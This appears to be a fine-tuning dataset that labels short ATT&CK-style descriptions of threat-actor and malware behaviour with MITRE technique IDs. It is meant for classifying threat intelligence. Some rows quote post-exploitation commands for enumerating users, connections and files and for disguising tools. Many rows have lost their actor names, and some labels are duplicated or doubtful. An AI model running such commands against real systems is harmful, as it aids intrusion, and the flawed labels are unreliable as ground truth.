Sandworm Team's research of potential victim organizations included the identification and collection of employee information.,['T1589.003 - Employee Names'],fine_tune
Silent Librarian has collected lists of names for individuals from targeted organizations.,['T1589.003 - Employee Names'],fine_tune
AADInternals can gather information about a tenant’s domains using public Microsoft APIs.,['T1590.001 - Domain Properties'],fine_tune
Sandworm Team conducted technical reconnaissance of the Parliament of Georgia's official internet domain prior to its 2019 attack.,['T1590.001 - Domain Properties'],fine_tune
Andariel has limited its watering hole attacks to specific IP address ranges.,['T1590.005 - IP Addresses'],fine_tune
Lazarus Group has studied publicly available information about a targeted organization to tailor spearphishing efforts against specific departments and/or individuals.,['T1591 - Gather Victim Org Information'],fine_tune
Dragonfly has collected open source information to identify relationships between organizations for targeting purposes.,['T1591.002 - Business Relationships'],fine_tune
LAPSUS$ has gathered detailed knowledge of an organization's supply chain relationships.,['T1591.002 - Business Relationships'],fine_tune
"HEXANE has identified executives, HR, and IT staff at victim organizations for further targeting.",['T1591.004 - Identify Roles'],fine_tune
LAPSUS$ has gathered detailed knowledge of team structures within a target organization.,['T1591.004 - Identify Roles'],fine_tune
Lazarus Group has targeted specific individuals within an organization with tailored job vacancy announcements.,['T1591.004 - Identify Roles'],fine_tune
"Andariel has inserted a malicious script within compromised websites to collect potential victim information such as browser type, system language, Flash Player version, and other data.",['T1592.002 - Software'],fine_tune
"Sandworm Team has researched software code to enable supply-chain operations, most notably for the 2017 NotPetya attack. Sandworm Team also collected a list of computers using specific software as part of its targeting efforts.",['T1592.002 - Software'],fine_tune
HAFNIUM has interacted with Office 365 tenants to gather details regarding target's environments.,['T1592.004 - Client Configurations'],fine_tune
EXOTIC LILY has copied data from social media sites to impersonate targeted individuals.,['T1593.001 - Social Media'],fine_tune
Kimsuky has used Twitter to monitor potential victims and to prepare targeted phishing e-mails.,['T1593.001 - Social Media'],fine_tune
Lazarus Group has used LinkedIn to identify and target specific employees within a chosen organization.,['T1593.001 - Social Media'],fine_tune
"Kimsuky has searched for vulnerabilities, tools, and geopolitical trends on Google to target victims.",['T1593.002 - Search Engines'],fine_tune
LAPSUS$ has searched public code repositories for exposed credentials.,['T1593.003 - Code Repositories'],fine_tune
EXOTIC LILY has used contact forms on victim websites to generate phishing e-mails.,['T1594 - Search Victim-Owned Websites'],fine_tune
Kimsuky has searched for information on the target company's website.,['T1594 - Search Victim-Owned Websites'],fine_tune
Sandworm Team has conducted research against potential victim websites as part of its operational planning.,['T1594 - Search Victim-Owned Websites'],fine_tune
TeamTNT has scanned specific lists of target IP addresses.,['T1595.001 - Scanning IP Blocks'],fine_tune
APT28 has performed large-scale scans in an attempt to find vulnerable servers.,['T1595.002 - Vulnerability Scanning'],fine_tune
APT29 has conducted widespread scanning of target environments to identify vulnerabilities for exploit.,['T1595.002 - Vulnerability Scanning'],fine_tune
Earth Lusca has scanned for vulnerabilities in the public-facing servers of their targets.,['T1595.002 - Vulnerability Scanning'],fine_tune
Magic Hound has conducted widespread scanning to identify public-facing systems vulnerable to Log4j (CVE-2021-44228).,['T1595.002 - Vulnerability Scanning'],fine_tune
Sandworm Team has scanned network infrastructure for vulnerabilities as part of its operational planning.,['T1595.002 - Vulnerability Scanning'],fine_tune
TeamTNT has scanned for vulnerabilities in IoT devices and other related resources such as the Docker API.,['T1595.002 - Vulnerability Scanning'],fine_tune
Volatile Cedar has used DirBuster and GoBuster to brute force web directories and DNS subdomains.,['T1595.003 - Active Scanning: Wordlist Scanning'],fine_tune
EXOTIC LILY has searched for information on targeted individuals on business databases including RocketReach and CrunchBase.,['T1597 - Search Closed Sources'],fine_tune
LAPSUS$ has purchased credentials and session tokens from criminal underground forums.,['T1597.002 - Purchase Technical Data'],fine_tune
APT28 has used spearphishing to compromise credentials.,['T1598 - Phishing for Information'],fine_tune
ZIRCONIUM targeted presidential campaign staffers with credential phishing e-mails.,['T1598 - Phishing for Information'],fine_tune
Astaroth has been delivered via malicious e-mail attachments.,['T1598.002 - Spearphishing Attachment'],fine_tune
Dragonfly has used spearphishing with Microsoft Office attachments to enable harvesting of user credentials.,['T1598.002 - Spearphishing Attachment'],fine_tune
Sidewinder has sent e-mails with malicious attachments that lead victims to credential harvesting websites.,['T1598.002 - Spearphishing Attachment'],fine_tune
AADInternals can send phishing emails containing malicious links designed to collect users’ credentials.,['T1598.003 - Spearphishing Link'],fine_tune
APT28 has conducted credential phishing campaigns with embedded links to attacker-controlled domains.,['T1598.003 - Spearphishing Link'],fine_tune
APT32 has used malicious links to direct users to web pages designed to harvest credentials.,['T1598.003 - Spearphishing Link'],fine_tune
Dragonfly has used spearphishing with PDF attachments containing malicious links that redirected to credential harvesting websites.,['T1598.003 - Spearphishing Link'],fine_tune
Kimsuky has used links in e-mail to steal account information.,['T1598.003 - Spearphishing Link'],fine_tune
Magic Hound has used SMS and email messages with links designed to steal credentials.,['T1598.003 - Spearphishing Link'],fine_tune
SMOKEDHAM has been delivered via malicious links in phishing emails.,['T1598.003 - Spearphishing Link'],fine_tune
Sandworm Team has crafted spearphishing emails with hyperlinks designed to trick unwitting recipients into revealing their account credentials.,['T1598.003 - Spearphishing Link'],fine_tune
Sidewinder has sent e-mails with malicious links to credential harvesting websites.,['T1598.003 - Spearphishing Link'],fine_tune
Silent Librarian has used links in e-mails to direct victims to credential harvesting websites designed to appear like the targeted organization's login page.,['T1598.003 - Spearphishing Link'],fine_tune
SYNful Knock is malware that is inserted into a network device by patching the operating system image.,['T1601.001 - Patch System Image'],fine_tune
APT29 has bypassed MFA set on OWA accounts by generating a cookie value from a previously stolen secret key.,['T1606.001 - Web Cookies'],fine_tune
AADInternals can be used to create SAML tokens using the AD Federated Services token signing certificate.,['T1606.002 - Forge Web Credentials: SAML token'],fine_tune
APT29 created tokens using compromised SAML signing certificates.,['T1606.002 - Forge Web Credentials: SAML token'],fine_tune
UNC2452 created tokens using compromised SAML signing certificates.,['T1606.002 - Forge Web Credentials: SAML token'],fine_tune
Mustang Panda has used servers under their control to validate tracking pixels sent to phishing victims.,['T1608 - Stage Capabilities'],fine_tune
"APT32 has hosted malicious payloads in Dropbox, Amazon S3, and Google Drive for use during targeting.",['T1608.001 - Upload Malware'],fine_tune
BITTER has registered domains to stage payloads.,['T1608.001 - Upload Malware'],fine_tune
"During Night Dragon, threat actors uploaded commonly available hacker tools to compromised web servers.",['T1608.001 - Upload Malware'],fine_tune
"EXOTIC LILY  has uploaded malicious payloads to file-sharing services including TransferNow, TransferXL, WeTransfer, and OneDrive.",['T1608.001 - Upload Malware'],fine_tune
"Earth Lusca has staged malware and malicious files on compromised web servers, GitHub, and Google Drive.",['T1608.001 - Upload Malware'],fine_tune
"For C0011, Transparent Tribe hosted malicious documents on domains registered by the group.",['T1608.001 - Upload Malware'],fine_tune
"For Operation Sharpshooter, the threat actors staged malicious files on Dropbox and other websites.",['T1608.001 - Upload Malware'],fine_tune
"For Operation Spalax, the threat actors staged malware and malicious files in legitimate hosting services such as OneDrive or MediaFire.",['T1608.001 - Upload Malware'],fine_tune
Gamaredon Group has registered domains to stage payloads.,['T1608.001 - Upload Malware'],fine_tune
HEXANE has staged malware on fraudulent websites set up to impersonate targeted organizations.,['T1608.001 - Upload Malware'],fine_tune
"Kimsuky has used Blogspot to host malicious content such as beacons, file exfiltrators, and implants.",['T1608.001 - Upload Malware'],fine_tune
Lazarus Group has hosted malicious files on compromised as well as Lazarus Group-controlled servers.,['T1608.001 - Upload Malware'],fine_tune
LazyScripter has hosted open-source remote access Trojans used in its operations in GitHub.,['T1608.001 - Upload Malware'],fine_tune
SideCopy has used compromised domains to host its malicious payloads.,['T1608.001 - Upload Malware'],fine_tune
TA505 has staged malware on actor-controlled domains.,['T1608.001 - Upload Malware'],fine_tune
TeamTNT has uploaded backdoored Docker images to Docker Hub.,['T1608.001 - Upload Malware'],fine_tune
Threat Group-3390 has hosted malicious payloads on Dropbox.,['T1608.001 - Upload Malware'],fine_tune
"For C0010, UNC3890 actors staged tools on their infrastructure to download directly onto a compromised system.",['T1608.002 - Upload Tool'],fine_tune
Lazarus Group has hosted custom and open-source tools on compromised as well as Lazarus Group-controlled servers.,['T1608.002 - Upload Tool'],fine_tune
"Threat Group-3390 has staged tools, including gsecdump and WCE, on previously compromised websites.",['T1608.002 - Upload Tool'],fine_tune
Dragonfly has compromised websites to redirect traffic and to host exploit kits.,['T1608.004 - Drive-by Target'],fine_tune
"For C0010, the threat actors compromised the login page of a legitimate Israeli shipping company and likely established a watering hole that collected visitor information.",['T1608.004 - Drive-by Target'],fine_tune
Threat Group-3390 has embedded malicious code into websites to screen a potential victim's IP address and then exploit their browser if they are of interest.,['T1608.004 - Drive-by Target'],fine_tune
"Transparent Tribe has set up websites with malicious hyperlinks and iframes to infect targeted victims with Crimson, njRAT, and other malicious tools.",['T1608.004 - Drive-by Target'],fine_tune
Silent Librarian has cloned victim organization login pages and staged them for later use in credential harvesting campaigns. Silent Librarian has also made use of a variety of URL shorteners for these staged websites.,['T1608.005 - Link Target'],fine_tune
Hildegard was executed through the kubelet API run command and by executing commands on running containers.,['T1609 - Kubernetes Exec Into Container'],fine_tune
Kinsing was executed with an Ubuntu container entry point that runs shell scripts.,['T1609 - Kubernetes Exec Into Container'],fine_tune
Siloscape can send kubectl commands to victim clusters through an IRC channel and can run kubectl locally to spread once within a victim cluster.,['T1609 - Kubernetes Exec Into Container'],fine_tune
Kinsing was run through a deployed Ubuntu container.,['T1610 - Deploy a container'],fine_tune
"Peirates can deploy a pod that mounts its node’s root file system, then execute a command to create a reverse shell on the node.",['T1610 - Deploy a container'],fine_tune
TeamTNT has deployed different types of containers into victim environments to facilitate execution. TeamTNT has also transferred cryptocurrency mining software to Kubernetes clusters discovered within local IP address ranges.,['T1610 - Deploy a container'],fine_tune
Doki’s container was configured to bind the host root directory.,['T1611 - Escape to Host'],fine_tune
Hildegard has used the BOtB tool that can break out of containers.,['T1611 - Escape to Host'],fine_tune
Peirates can gain a reverse shell on a host node by mounting the Kubernetes hostPath.,['T1611 - Escape to Host'],fine_tune
TeamTNT has deployed privileged containers that mount the filesystem of victim machine.,['T1611 - Escape to Host'],fine_tune
Hildegard has used masscan to search for kubelets and the kubelet API for additional running containers.,['T1613 - Container and Resource Discovery'],fine_tune
"TeamTNT has checked for running containers with ""docker ps"" and for specific container names with ""docker inspect"". TeamTNT has also searched for Kubernetes pods running in a local network.",['T1613 - Container and Resource Discovery'],fine_tune
Crimson can identify the geographical location of a victim host.,['T1614 - System Location Discovery'],fine_tune
GrimAgent can identify the country code on a compromised host.,['T1614 - System Location Discovery'],fine_tune
QuasarRAT can determine the country a victim host is located in.,['T1614 - System Location Discovery'],fine_tune
SDBbot can collected the country code of a compromised machine.,['T1614 - System Location Discovery'],fine_tune
"Saint Bot has conducted system locale checks to see if the compromised host is in Russia, Ukraine, Belarus, Armenia, Kazakhstan, or Moldova.",['T1614 - System Location Discovery'],fine_tune
"Clop has checked the keyboard language using the GetKeyboardLayout() function to avoid installation on Russian-language or other Commonwealth of Independent States-language machines; it will also check the ""GetTextCharset"" function.",['T1614.001 - System Location Discovery: System Language Discovery'],fine_tune
"Flagpro can check whether the target system is using Japanese, Taiwanese, or English through detection of specific Windows Security and Internet Explorer dialog.",['T1614.001 - System Location Discovery: System Language Discovery'],fine_tune
"GrimAgent has used ""Accept-Language"" to identify hosts in the United Kingdom, United States, France, and Spain.",['T1614.001 - System Location Discovery: System Language Discovery'],fine_tune
Ke3chang has used implants to collect the system language ID of a compromised machine.,['T1614.001 - System Location Discovery: System Language Discovery'],fine_tune
"Lazarus Group has deployed malware designed not to run on computers set to Korean, Japanese, or Chinese in Windows language preferences.",['T1614.001 - System Location Discovery: System Language Discovery'],fine_tune
"Maze has checked the language of the machine with function ""GetUserDefaultUILanguage"" and terminated execution if the language matches with an entry in the predefined list.",['T1614.001 - System Location Discovery: System Language Discovery'],fine_tune
Misdat has attempted to detect if a compromised host had a Japanese keyboard via the Windows API call `GetKeyboardType`.,['T1614.001 - System Location Discovery: System Language Discovery'],fine_tune
Neoichor can identify the system language on a compromised host.,['T1614.001 - System Location Discovery: System Language Discovery'],fine_tune
"Ryuk has been observed to query the registry key ""HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Nls\Language"" and the value ""InstallLanguage"". If the machine has the value 0x419 (Russian), 0x422 (Ukrainian), or 0x423 (Belarusian), it stops execution.",['T1614.001 - System Location Discovery: System Language Discovery'],fine_tune
SharpStage  has been used to target Arabic-speaking users and used code that checks if the compromised machine has the Arabic language installed.,['T1614.001 - System Location Discovery: System Language Discovery'],fine_tune
"Some versions of DEATHRANSOM have performed language ID and keyboard layout checks; if either of these matched Russian, Kazakh, Belarusian, Ukrainian or Tatar DEATHRANSOM would exit.",['T1614.001 - System Location Discovery: System Language Discovery'],fine_tune
"Spark has checked the results of the ""GetKeyboardLayoutList"" and the language name returned by ""GetLocaleInfoA"" to make sure they contain the word “Arabic” before executing.",['T1614.001 - System Location Discovery: System Language Discovery'],fine_tune
"XCSSET uses AppleScript to check the host's language and location with the command ""user locale of (get system info)"".",['T1614.001 - System Location Discovery: System Language Discovery'],fine_tune
"Zeus Panda queries the system's keyboard mapping to determine the language used on the system. It will terminate execution if it detects LANG_RUSSIAN, LANG_BELARUSIAN, LANG_KAZAK, or LANG_UKRAINIAN.",['T1614.001 - System Location Discovery: System Language Discovery'],fine_tune
"Emissary has the capability to execute ""gpresult"".",['T1615 - Group Policy Discovery'],fine_tune
Empire includes various modules for enumerating Group Policy.,['T1615 - Group Policy Discovery'],fine_tune
"Turla surveys a system upon check-in to discover Group Policy details using the ""gpresult"" command.",['T1615 - Group Policy Discovery'],fine_tune
"Cobalt Strike's ""execute-assembly"" command can run a .NET executable within the memory of a sacrificial process by loading the CLR.",['T1620 - Reflective Code Loading'],fine_tune
Cuba loaded the payload into memory using PowerShell.,['T1620 - Reflective Code Loading'],fine_tune
"Donut can generate code modules that enable in-memory execution of VBScript, JScript, EXE, DLL, and dotNET payloads.",['T1620 - Reflective Code Loading'],fine_tune
FoggyWeb's loader has reflectively loaded .NET-based assembly/payloads into memory.,['T1620 - Reflective Code Loading'],fine_tune
Gelsemium can use custom shellcode to map embedded DLLs into memory.,['T1620 - Reflective Code Loading'],fine_tune
IceApple can use reflective code loading to load .NET assemblies into `MSExchangeOWAAppPool` on targeted Exchange servers.,['T1620 - Reflective Code Loading'],fine_tune
"Lazarus Group has changed memory protection permissions then overwritten in memory DLL function code with shellcode, which was later executed via KernelCallbackTable hijacking. Lazarus Group has also used shellcode within macros to decrypt and manually map DLLs into memory at runtime.",['T1620 - Reflective Code Loading'],fine_tune
PowerSploit reflectively loads a Windows PE file into a process.,['T1620 - Reflective Code Loading'],fine_tune
APT29 has used repeated MFA requests to gain access to victim accounts.,['T1621 - Multi-Factor Authentication Request Generation'],fine_tune
LAPSUS$ has spammed target users with MFA prompts in the hope that the legitimate user will grant necessary approval.,['T1621 - Multi-Factor Authentication Request Generation'],fine_tune
ROKRAT can check for debugging tools.,['T1622 - Debugger Evasion'],fine_tune
Saint Bot has used `is_debugger_present` as part of its environmental checks.,['T1622 - Debugger Evasion'],fine_tune
"ThiefQuest uses a function named ""is_debugging"" to perform anti-debugging logic. The function invokes ""sysctl"" checking the returned value of ""P_TRACED"". ThiefQuest also calls ""ptrace"" with the ""PTRACE_DENY_ATTACH"" flag to prevent debugging.",['T1622 - Debugger Evasion'],fine_tune
"XCSSET uses the ""plutil"" command to modify the ""LSUIElement"", ""DFBundleDisplayName"", and ""CFBundleIdentifier"" keys in the ""/Contents/Info.plist"" file to change how XCSSET is visible on the system.",['T1647 - Plist File Modification'],fine_tune
"AADInternals can create and export various authentication certificates, including those associated with Azure AD joined/registered devices.",['T1649 - Steal or Forge Authentication Certificates'],fine_tune
APT29 has abused misconfigured AD CS certificate templates to impersonate admin users and create additional authentication certificates.,['T1649 - Steal or Forge Authentication Certificates'],fine_tune
Mimikatz's `CRYPTO` module can create and export various types of authentication certificates.,['T1649 - Steal or Forge Authentication Certificates'],fine_tune
creates a backdoor through which remote attackers can steal system information.,"['T1005 - Data from Local System', 'T1005 - Data from Local System']",fine_tune
captures window titles.,"['T1010 - Application Window Discovery', 'T1010 - Application Window Discovery']",fine_tune
hides any strings related to its own indicators of compromise.,"['T1027 - Obfuscated Files or Information', 'T1027 - Obfuscated Files or Information']",fine_tune
creates a backdoor through which remote attackers can open a command-line interface.,"['T1059 - Command and Scripting Interpreter', 'T1059 - Command and Scripting Interpreter']",fine_tune
stages collected data in a text file.,"['T1074 - Data Staged', 'T1074 - Data Staged']",fine_tune
can download and execute a second-stage payload.,"['T1105 - Ingress Tool Transfer', 'T1105 - Ingress Tool Transfer']",fine_tune
creates a backdoor through which remote attackers can upload files.,"['T1105 - Ingress Tool Transfer', 'T1105 - Ingress Tool Transfer']",fine_tune
creates a Registry subkey that registers a new system device.,"['T1112 - Modify Registry', 'T1112 - Modify Registry']",fine_tune
"At installation, the MSI file drops three files and creates one hidden directory (UFile) into C:\ProgramData\Apple\Update\, likely as a ruse","['T1564.001 - Hide Artifacts: Hidden Files and Directories', 'T1564.001 - Hide Artifacts: Hidden Files and Directories']",fine_tune
"If the user clicks on the link, he will be prompted to download a RAR file that contains the stage 1 malware/lure, which he will execute afterwards","['T1204.002 - User Execution: Malicious File', 'T1105 - Ingress Tool Transfer']",fine_tune
"For both the receiving of C2 commands and exfiltration, Remexi uses the Microsoft Background Intelligent Transfer Service (BITS) mechanism to communicate with the C2 over HTTP","['T1071.001 - Application Layer Protocol: Web Protocols', 'T1041 - Exfiltration Over C2 Channel', 'T1071 - Application Layer Protocol', 'T1132 - Data Encoding']",fine_tune
The malware initiates its main function of capturing user keystrokes and sending them to the control server using standard Windows networking APIs,"['T1056.001 - Input Capture: Keylogging', 'T1056 - Input Capture']",fine_tune
f) Hadoop YARN ResourceManager – Command Execution (exploit) g) CVE-2016-3088: Apache ActiveMQ Fileserver File Upload Remote Code Execution Vulnerability,"['T1203 - Exploitation for Client Execution', 'T1203 - Exploitation for Client Execution', 'T1105 - Ingress Tool Transfer']",fine_tune
The malware also contains an embedded .NET wrapper DLL for creating and managing scheduled tasks on Windows systems,"['T1053.005 - Scheduled Task/Job: Scheduled Task', 'T1053 - Scheduled Task/Job', 'T1053.005 - Scheduled Task/Job: Scheduled Task']",fine_tune
"""beacon"" payload can collect information on process details.",['T1057 - Process Discovery'],fine_tune
"""beacon"" payload can receive C2 from one protocol and respond on another. This is typically a mixture of HTTP, HTTPS, and DNS traffic.",['T1026 - Multiband Communication'],fine_tune
"""beacon"" payload is capable of capturing screen shots.",['T1113 - Screen Capture'],fine_tune
"2 contains a ""Destroy"" plug-in that destroys data stored on victim hard drives by overwriting file contents.",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
A  .dll file is digitally signed by a certificate from AirVPN.,['T1553.002 - Code Signing'],fine_tune
A  .dll that contains  is loaded and executed using DLL side-loading.,['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
A  2 plug-in uses WMI to gather victim host details.,['T1047 - Windows Management Instrumentation'],fine_tune
"A backdoor used by  created a Tor hidden service to forward traffic from the Tor client to local ports 3389 (RDP), 139 (Netbios), and 445 (SMB) enabling full remote access from outside the network.",['T1090.003 - Proxy: Multi-hop Proxy'],fine_tune
abuses NTFS transactions to launch and conceal malicious processes.,['T1055.013 - Process Doppelgänging'],fine_tune
"abuses the Windows DLL load order by using a legitimate Symantec anti-virus binary, VPDN_LU.exe, to load a malicious DLL that mimics a legitimate Symantec DLL, navlu.dll.",['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],fine_tune
accessed email accounts using Outlook Web Access.,['T1114 - Email Collection'],fine_tune
"accesses network share(s), enables share access to the target device, and copies an executable payload to the target system, and uses a  to execute the malware.",['T1021.002 - Remote Services: SMB/Windows Admin Shares'],fine_tune
accesses the HKLM\System\CurrentControlSet\Services\mssmbios\Data\SMBiosData Registry key to obtain the System manufacturer value to identify the machine type.,['T1012 - Query Registry'],fine_tune
achieves persistence by adding a shortcut of itself to the startup path in the Registry.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
achieves persistence by adding itself to the HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Registry key.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
achieves persistence by creating a Registry entry in HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
achieves persistence by creating a shortcut in the current user's Startup folder.,"['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder']",fine_tune
achieves persistence by creating a shortcut to itself in the CSIDL_STARTUP directory.,"['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder']",fine_tune
achieves persistence by making an entry in the Registry's Run key.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"achieves persistence by setting a Registry Run key, with the path depending on whether the victim account has user or administrator access.",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
actors have been known to copy files to the network shares of other computers to move laterally.,['T1021.002 - Remote Services: SMB/Windows Admin Shares'],fine_tune
actors have been known to use the Sticky Keys replacement within RDP sessions to obtain persistence.,['T1546.008 - Event Triggered Execution: Accessibility Features'],fine_tune
actors have split RAR files for exfiltration into parts.,['T1030 - Data Transfer Size Limits'],fine_tune
actors have used  and a modified version of  called Wrapikatz to dump credentials. They have also dumped credentials from domain controllers.,['T1003 - OS Credential Dumping'],fine_tune
actors have used DLL side-loading. Actors have used legitimate Kaspersky anti-virus variants in which the DLL acts as a stub loader that loads and executes the shell code.,['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
actors leverage legitimate credentials to log into external remote services.,"['T1078 - Valid Accounts', 'T1133 - External Remote Services']",fine_tune
actors obtained a list of active processes on the victim and sent them to C2 servers.,['T1057 - Process Discovery'],fine_tune
actors obtain legitimate credentials using a variety of methods and use them to further lateral movement on victim networks.,['T1078 - Valid Accounts'],fine_tune
actors spawned shells on remote systems on a victim network to execute commands.,['T1059 - Command and Scripting Interpreter'],fine_tune
"actors used compromised credentials for the victim's endpoint management platform, Altiris, to move laterally.",['T1078 - Valid Accounts'],fine_tune
actors used legitimate credentials of banking employees to perform operations that sent them millions of dollars.,['T1078 - Valid Accounts'],fine_tune
actors used the following command following exploitation of a machine with  malware to display network connections: netstat -ano >> %temp%\download,['T1049 - System Network Connections Discovery'],fine_tune
actors used the following command following exploitation of a machine with  malware to obtain information about services: net start >> %temp%\download,['T1007 - System Service Discovery'],fine_tune
"actors used the following commands after exploiting a machine with  malware to obtain information about files and directories: dir c:\ >> %temp%\download dir ""c:\Documents and Settings"" >> %temp%\download dir ""c:\Program Files\"" >> %temp%\download dir d:\ >> %temp%\download",['T1083 - File and Directory Discovery'],fine_tune
actors used the following commands following exploitation of a machine with  malware to enumerate user accounts: net user >> %temp%\download net user /domain >> %temp%\download,['T1087 - Account Discovery'],fine_tune
"actors used the following command to rename one of their tools to a benign file name: ren ""%temp%\upload"" audiodg.exe",['T1036 - Masquerading'],fine_tune
actors used the native  Windows task scheduler tool to use scheduled tasks for execution on a victim network.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
actors use nbtscan to discover vulnerable systems.,['T1016 - System Network Configuration Discovery'],fine_tune
actors use the Hunter tool to conduct network service discovery for vulnerable systems.,['T1046 - Network Service Discovery'],fine_tune
"actors use  to schedule tasks to run self-extracting RAR archives, which install  or  on other victims on a network.",['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
"added ""junk data"" to each encoded string, preventing trivial decoding without knowledge of the junk removal algorithm. Each implant was given a ""junk length"" value when created, tracked by the controller software to allow seamless communication but prevent analysis of the command protocol on the wire.",['T1001 - Data Obfuscation'],fine_tune
added junk data to outgoing UDP packets to peer implants.,['T1001 - Data Obfuscation'],fine_tune
added newly created accounts to the administrators group to maintain elevated access.,['T1098 - Account Manipulation'],fine_tune
added Registry Run keys to establish persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
adds a .lnk file to the Windows startup folder.,['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],fine_tune
adds a .plist file to the /Library/LaunchAgents folder to maintain persistence.,['T1543.001 - Create or Modify System Process: Launch Agent'],fine_tune
adds an entry to the rc.common file for persistence.,['T1037.004 - Boot or Logon Initialization Scripts: Rc.common'],fine_tune
adds a new service named NetAdapter in an apparent attempt to masquerade as a legitimate service.,['T1036 - Masquerading'],fine_tune
adds a new service named NetAdapter to establish persistence.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
adds a Registry Run key for ctfmon.exe to establish persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
adds a Registry Run key for persistence and adds a script in the Startup folder to deploy the payload.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
adds a Registry Run key to establish persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
adds Registry Run keys to achieve persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
A Destover-like implant used by  can obtain the current system time and send it to the C2 server.,['T1124 - System Time Discovery'],fine_tune
A Destover-like variant used by  uses a batch file mechanism to delete its binaries from the system.,['T1064 - Scripting'],fine_tune
A dropper used by  installs itself into the ASEP Registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run with a value named McUpdate.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Adversaries can instruct  to spread laterally by copying itself to shares it has enumerated and for which it has obtained legitimate credentials (via keylogging or other means). The remote host is then infected by using the compromised credentials to schedule a task on remote machines that executes the malware.,"['T1053.005 - Scheduled Task/Job: Scheduled Task', 'T1021.002 - Remote Services: SMB/Windows Admin Shares', 'T1078 - Valid Accounts']",fine_tune
A  file stealer can communicate over HTTP for C2.,['T1071 - Application Layer Protocol'],fine_tune
A  file stealer can gather the victim's computer name and drive serial numbers to send to a C2 server.,['T1082 - System Information Discovery'],fine_tune
A  file stealer can gather the victim's username to send to a C2 server.,['T1033 - System Owner/User Discovery'],fine_tune
A  file stealer can run a TaskScheduler DLL to add persistence.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
"A  file stealer has the capability to steal data from newly connected logical volumes on a system, including USB drives.",['T1025 - Data from Removable Media'],fine_tune
A  file stealer transfers collected files to a hardcoded C2 server.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
"After collecting files and logs from the victim,  encrypts some collected data with Blowfish.",['T1486 - Data Encrypted for Impact'],fine_tune
"After compromising a victim,  lists all running processes.",['T1057 - Process Discovery'],fine_tune
"After copying itself to a DLL file, a variant of  calls the DLL file using rundll32.exe.",['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
"After decrypting itself in memory,  downloads a DLL file from its C2 server and loads it in the memory space of a hidden Internet Explorer process. This “downloaded” file is actually not dropped onto the system.",['T1055 - Process Injection'],fine_tune
"After downloading its main config file,  downloads multiple payloads from C2 servers.",['T1105 - Ingress Tool Transfer'],fine_tune
"After encrypting C2 data,  converts it into a hexadecimal representation and then encodes it into base64.",['T1001 - Data Obfuscation'],fine_tune
"After encrypting log files, the log encryption module in  deletes the original, unencrypted files from the host.",['T1070 - Indicator Removal on Host'],fine_tune
"After initial compromise,  will download a second stage to establish a more permanent presence on the affected system.",['T1104 - Multi-Stage Channels'],fine_tune
"After using raw sockets to communicate with its C2 server,  uses a decrypted string to create HTTP POST requests.",['T1071 - Application Layer Protocol'],fine_tune
aggregates collected data in a tmp file.,['T1074 - Data Staged'],fine_tune
"A  implant file was named ASPNET_FILTER.DLL, mimicking the legitimate ASP.NET ISAPI filter DLL with the same name.",['T1036 - Masquerading'],fine_tune
"A  Javascript backdoor added a local_update_check value under the Registry key HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run to establish persistence. Additionally, a  custom executable containing Metasploit shellcode is saved to the Startup folder to gain persistence.",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
A  JavaScript backdoor has used Google Apps Script as its C2 server.,['T1102 - Web Service'],fine_tune
"A keylogging tool used by  gathers network information from the victim, including the MAC address, IP address, WINS, DHCP server, and gateway.",['T1016 - System Network Configuration Discovery'],fine_tune
"A Linux version of  checks if the victim user ID is anything other than zero (normally used for root), and the malware will not execute if it does not have root privileges.  also gathers the username of the victim.",['T1033 - System Owner/User Discovery'],fine_tune
allows actors to spawn a reverse shell on a victim.,['T1059 - Command and Scripting Interpreter'],fine_tune
"allows adversaries to enumerate and modify the infected host's file system. It supports searching for directories, creating directories, listing directory contents, reading and writing to files, retrieving file attributes, and retrieving volume information.",['T1083 - File and Directory Discovery'],fine_tune
allows adversaries to execute shell commands on the infected host.,['T1059 - Command and Scripting Interpreter'],fine_tune
"allows adversaries to modify the way the ""beacon"" payload communicates. This is called ""Malleable C2"" in the  manual and is intended to allow a penetration test team to mimic known APT C2 methods.",['T1095 - Non-Application Layer Protocol'],fine_tune
allows adversaries to search for files.,['T1083 - File and Directory Discovery'],fine_tune
A  macro deletes files after it has decoded and decompressed them.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
A  malware sample adds persistence on the system by creating a shortcut in the user’s Startup folder.,['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],fine_tune
